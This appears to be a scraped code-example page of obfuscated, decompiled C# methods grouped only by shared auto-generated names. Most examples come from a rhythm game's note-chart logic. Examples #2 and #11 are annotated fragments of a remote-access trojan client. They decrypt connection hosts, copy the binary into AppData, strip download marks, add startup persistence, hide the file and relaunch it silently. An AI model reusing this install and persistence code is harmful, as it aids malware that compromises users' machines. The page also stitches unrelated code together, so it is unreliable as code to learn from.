Example #1
0
    // Token: 0x0600286C RID: 10348 RVA: 0x0012F660 File Offset: 0x0012D860
    public bool method_31()
    {
        GClass19 gclass = this.gclass19_0;

        while (GClass16.smethod_1(gclass, null))
        {
            if (this.uint_0 != gclass.uint_0)
            {
                break;
            }
            if (this.uint_1 != gclass.uint_1)
            {
                return(true);
            }
            gclass = gclass.gclass19_0;
        }
        GClass19 gclass2 = this.gclass19_1;

        while (GClass16.smethod_1(gclass2, null))
        {
            if (this.uint_0 != gclass2.uint_0)
            {
                break;
            }
            if (this.uint_1 != gclass2.uint_1)
            {
                return(true);
            }
            gclass2 = gclass2.gclass19_1;
        }
        return(true);
    }
Example #2
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Example #3
0
    // Token: 0x06002896 RID: 10390 RVA: 0x0012F86C File Offset: 0x0012DA6C
    public static int smethod_9 <T>(T gparam_0, T[] gparam_1) where T : GClass16
    {
        int num = GClass16.smethod_6 <T>(gparam_0, gparam_1);

        if (num != -1 && GClass16.smethod_1(gparam_1[num], gparam_0))
        {
            num = -1;
        }
        return(num);
    }
Example #4
0
 // Token: 0x06002835 RID: 10293 RVA: 0x0012E894 File Offset: 0x0012CA94
 public bool method_0()
 {
     if (GClass16.smethod_1(this.gclass19_0, null))
     {
         if (this.gclass19_0.uint_0 == this.uint_0)
         {
             return(true);
         }
     }
     return(GClass16.smethod_1(this.gclass19_1, null) && this.gclass19_1.uint_0 == this.uint_0);
 }
Example #5
0
    // Token: 0x06002842 RID: 10306 RVA: 0x0012EB34 File Offset: 0x0012CD34
    public bool method_7()
    {
        GClass19 gclass = this.gclass19_0;

        while (GClass16.smethod_1(gclass, null))
        {
            if (gclass.uint_0 != this.uint_0)
            {
                break;
            }
            gclass = gclass.gclass19_0;
        }
        return(GClass16.smethod_0(gclass, null) || !GClass16.smethod_1(gclass, null) || this.method_25() == gclass.Int32_0);
    }
Example #6
0
 private void method_3()
 {
     GClass16.smethod_1();
     Thread.Sleep(10);
     if (this.bool_2)
     {
         this.keyboardSimulator_0.KeyPress(122);
         this.bool_2 = false;
     }
     if (this.bool_3)
     {
         this.keyboardSimulator_0.KeyUp(67);
         this.bool_3 = false;
     }
 }
Example #7
0
    // Token: 0x06002861 RID: 10337 RVA: 0x0012F2D8 File Offset: 0x0012D4D8
    public bool method_26()
    {
        bool result = false;

        if (!this.method_1() && GClass16.smethod_1(this.gclass19_0, null))
        {
            if (GlobalVariables.instance.currentSongEntry.isMIDIChart && this.gclass19_0.method_1() && (this.Int32_0 & this.gclass19_0.Int32_0) == this.method_25())
            {
                return(false);
            }
            if (this.gclass19_0.method_2() || (!this.gclass19_0.method_1() && this.genum13_0 != this.gclass19_0.genum13_0))
            {
                if (GlobalVariables.instance.currentSongEntry.isMIDIChart)
                {
                    if (SongEntry.currentSongCustomHOPO > 0)
                    {
                        if ((ulong)(this.uint_0 - this.gclass19_0.uint_0) <= (ulong)((long)SongEntry.currentSongCustomHOPO))
                        {
                            result = false;
                        }
                    }
                    else if (SongEntry.isCurrentSongEighthHOPO)
                    {
                        if (this.uint_0 - this.gclass19_0.uint_0 <= Math.Ceiling((double)(this.gclass27_0.float_4 / 1614f)) + 616.0)
                        {
                            result = true;
                        }
                    }
                    else if (this.uint_0 - this.gclass19_0.uint_0 <= Math.Ceiling((double)(this.gclass27_0.float_4 / 1145f)) + 42.0)
                    {
                        result = false;
                    }
                }
                else
                {
                    int num = (int)(76f * this.gclass27_0.float_4 / GClass15.float_0);
                    if ((ulong)(this.uint_0 - this.gclass19_0.uint_0) <= (ulong)((long)num))
                    {
                        result = true;
                    }
                }
            }
        }
        return(result);
    }
Example #8
0
    // Token: 0x06002845 RID: 10309 RVA: 0x0012ED6C File Offset: 0x0012CF6C
    public GClass19 method_9()
    {
        if (this.method_31())
        {
            return(this.gclass19_1);
        }
        GClass19 gclass = this.gclass19_1;

        while (GClass16.smethod_1(gclass, null))
        {
            if (gclass.uint_0 != this.uint_0)
            {
                break;
            }
            gclass = gclass.gclass19_1;
        }
        return(gclass);
    }
Example #9
0
    // Token: 0x0600283B RID: 10299 RVA: 0x0012E9A0 File Offset: 0x0012CBA0
    private GClass19[] method_3(bool bool_0)
    {
        List <GClass19> list = new List <GClass19>();

        list.Add(this);
        GClass19 gclass = this.gclass19_0;

        while (GClass16.smethod_1(gclass, null))
        {
            if (this.uint_0 != gclass.uint_0)
            {
                break;
            }
            if (!bool_0 && this.uint_1 != gclass.uint_1)
            {
                return(new GClass19[]
                {
                    this
                });
            }
            list.Add(gclass);
            gclass = gclass.gclass19_0;
        }
        GClass19 gclass2 = this.gclass19_1;

        while (GClass16.smethod_1(gclass2, null))
        {
            if (this.uint_0 != gclass2.uint_0)
            {
                break;
            }
            if (!bool_0 && this.uint_1 != gclass2.uint_1)
            {
                return(new GClass19[]
                {
                    this
                });
            }
            list.Add(gclass2);
            gclass2 = gclass2.gclass19_1;
        }
        return(list.ToArray());
    }
Example #10
0
    // Token: 0x0600289D RID: 10397 RVA: 0x0012FC60 File Offset: 0x0012DE60
    public static bool smethod_16 <T>(T gparam_0, List <T> list_0, bool bool_0 = true) where T : GClass16
    {
        int num = GClass16.smethod_9 <T>(gparam_0, list_0.ToArray());

        if (num != -1)
        {
            if (bool_0 && gparam_0.GetType() == typeof(GClass19))
            {
                GClass19 gclass  = GClass16.smethod_12 <T>(gparam_0.GetType(), num, list_0) as GClass19;
                GClass19 gclass2 = GClass16.smethod_14 <T>(gparam_0.GetType(), num, list_0) as GClass19;
                if (GClass16.smethod_1(gclass, null))
                {
                    gclass.gclass19_1 = gclass2;
                }
                if (GClass16.smethod_1(gclass2, null))
                {
                    gclass2.gclass19_0 = gclass;
                }
            }
            list_0.RemoveAt(num);
            return(true);
        }
        return(false);
    }
Example #11
0
    // Token: 0x06000077 RID: 119 RVA: 0x00005F3C File Offset: 0x0000413C
    public static void smethod_0(Client client)
    {
        bool flag = false;

        if (!Directory.Exists(Path.Combine(GClass35.string_3, GClass35.string_4)))
        {
            try
            {
                Directory.CreateDirectory(Path.Combine(GClass35.string_3, GClass35.string_4));
            }
            catch (Exception)
            {
                GClass0.Disconnect = true;
                return;
            }
        }
        if (File.Exists(GClass0.InstallPath))
        {
            try
            {
                File.Delete(GClass0.InstallPath);
            }
            catch (Exception ex)
            {
                if (ex is IOException || ex is UnauthorizedAccessException)
                {
                    Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(GClass0.InstallPath));
                    int       id = Process.GetCurrentProcess().Id;
                    foreach (Process process in processesByName)
                    {
                        if (process.Id != id)
                        {
                            process.Kill();
                            flag = true;
                        }
                    }
                }
            }
        }
        if (flag)
        {
            Thread.Sleep(5000);
        }
        try
        {
            File.Copy(GClass0.CurrentPath, GClass0.InstallPath, true);
        }
        catch
        {
            GClass0.Disconnect = true;
            return;
        }
        if (GClass35.bool_1 && !GClass16.smethod_1())
        {
            GClass0.AddToStartupFailed = true;
        }
        if (GClass35.bool_2)
        {
            try
            {
                File.SetAttributes(GClass0.InstallPath, FileAttributes.Hidden);
            }
            catch (Exception)
            {
            }
        }
        GClass4.smethod_2(GClass0.InstallPath);
        ProcessStartInfo startInfo = new ProcessStartInfo
        {
            WindowStyle     = ProcessWindowStyle.Hidden,
            CreateNoWindow  = true,
            UseShellExecute = true,
            FileName        = GClass0.InstallPath
        };

        try
        {
            Process.Start(startInfo);
        }
        catch (Exception)
        {
            GClass0.Disconnect = true;
            return;
        }
        GClass0.Disconnect = true;
    }
Example #12
0
 // Token: 0x0600288E RID: 10382 RVA: 0x000114DE File Offset: 0x0000F6DE
 public static bool smethod_3(GClass16 gclass16_0, GClass16 gclass16_1)
 {
     return(GClass16.smethod_1(gclass16_0, gclass16_1) && !GClass16.smethod_2(gclass16_0, gclass16_1));
 }
Example #13
0
    // Token: 0x0600289C RID: 10396 RVA: 0x0012F97C File Offset: 0x0012DB7C
    public static int smethod_15 <T>(T gparam_0, List <T> list_0) where T : GClass16
    {
        int num = -1;

        if (list_0.Count > 0)
        {
            if (GClass16.smethod_2(list_0[list_0.Count - 1], gparam_0))
            {
                num = list_0.Count;
                list_0.Insert(num, gparam_0);
            }
            else
            {
                num = GClass16.smethod_6 <T>(gparam_0, list_0.ToArray());
                if (num != -1)
                {
                    if (GClass16.smethod_0(list_0[num], gparam_0) && gparam_0.Int32_1 == list_0[num].Int32_1)
                    {
                        list_0[num] = gparam_0;
                    }
                    else
                    {
                        if (GClass16.smethod_3(gparam_0, list_0[num]))
                        {
                            num++;
                        }
                        list_0.Insert(num, gparam_0);
                    }
                }
            }
        }
        if (num == -1)
        {
            list_0.Add(gparam_0);
            num = list_0.Count - 1;
        }
        if (gparam_0.Int32_1 == 4)
        {
            GClass19 gclass  = list_0[num] as GClass19;
            GClass19 gclass2 = GClass16.smethod_12 <T>(typeof(GClass19), num, list_0) as GClass19;
            GClass19 gclass3 = GClass16.smethod_14 <T>(typeof(GClass19), num, list_0) as GClass19;
            gclass.gclass19_0 = gclass2;
            if (GClass16.smethod_1(gclass2, null))
            {
                gclass2.gclass19_1 = gclass;
            }
            gclass.gclass19_1 = gclass3;
            if (GClass16.smethod_1(gclass3, null))
            {
                gclass3.gclass19_0 = gclass;
            }
            GClass19.GEnum15 genum = gclass.genum15_0;
            gclass2 = gclass.gclass19_0;
            gclass3 = gclass.gclass19_1;
            GClass19 gclass16_ = null;
            bool     flag      = false;
            while (GClass16.smethod_1(gclass2, null))
            {
                if (gclass2.uint_0 != gclass.uint_0)
                {
                    break;
                }
                if (gclass2.genum13_0 == GClass19.GEnum13.OPEN)
                {
                    gclass16_ = gclass2;
                }
                else
                {
                    flag = true;
                }
                genum  |= gclass2.genum15_0;
                gclass2 = gclass2.gclass19_0;
            }
            while (GClass16.smethod_1(gclass3, null))
            {
                if (gclass3.uint_0 != gclass.uint_0)
                {
                    break;
                }
                if (gclass3.genum13_0 == GClass19.GEnum13.OPEN)
                {
                    gclass16_ = gclass3;
                }
                else
                {
                    flag = true;
                }
                genum  |= gclass3.genum15_0;
                gclass3 = gclass3.gclass19_1;
            }
            if ((gclass.genum13_0 == GClass19.GEnum13.OPEN || !GClass16.smethod_1(gclass16_, null)) && (gclass.genum13_0 != GClass19.GEnum13.OPEN || !flag))
            {
                gclass.genum15_0 = genum;
                gclass2          = gclass.gclass19_0;
                gclass3          = gclass.gclass19_1;
                while (GClass16.smethod_1(gclass2, null))
                {
                    if (gclass2.uint_0 != gclass.uint_0)
                    {
                        break;
                    }
                    if (gclass2.genum15_0 != genum)
                    {
                        Debug.Log(string.Format("Not match flags previous {0} {1}", num, gparam_0.GetType()));
                    }
                    gclass2.genum15_0 = genum;
                    gclass2           = gclass2.gclass19_0;
                }
                while (GClass16.smethod_1(gclass3, null))
                {
                    if (gclass3.uint_0 != gclass.uint_0)
                    {
                        break;
                    }
                    if (gclass3.genum15_0 != genum)
                    {
                        Debug.Log(string.Format("Not match flags next {0} {1}", num, gparam_0.GetType()));
                    }
                    gclass3.genum15_0 = genum;
                    gclass3           = gclass3.gclass19_1;
                }
            }
        }
        return(num);
    }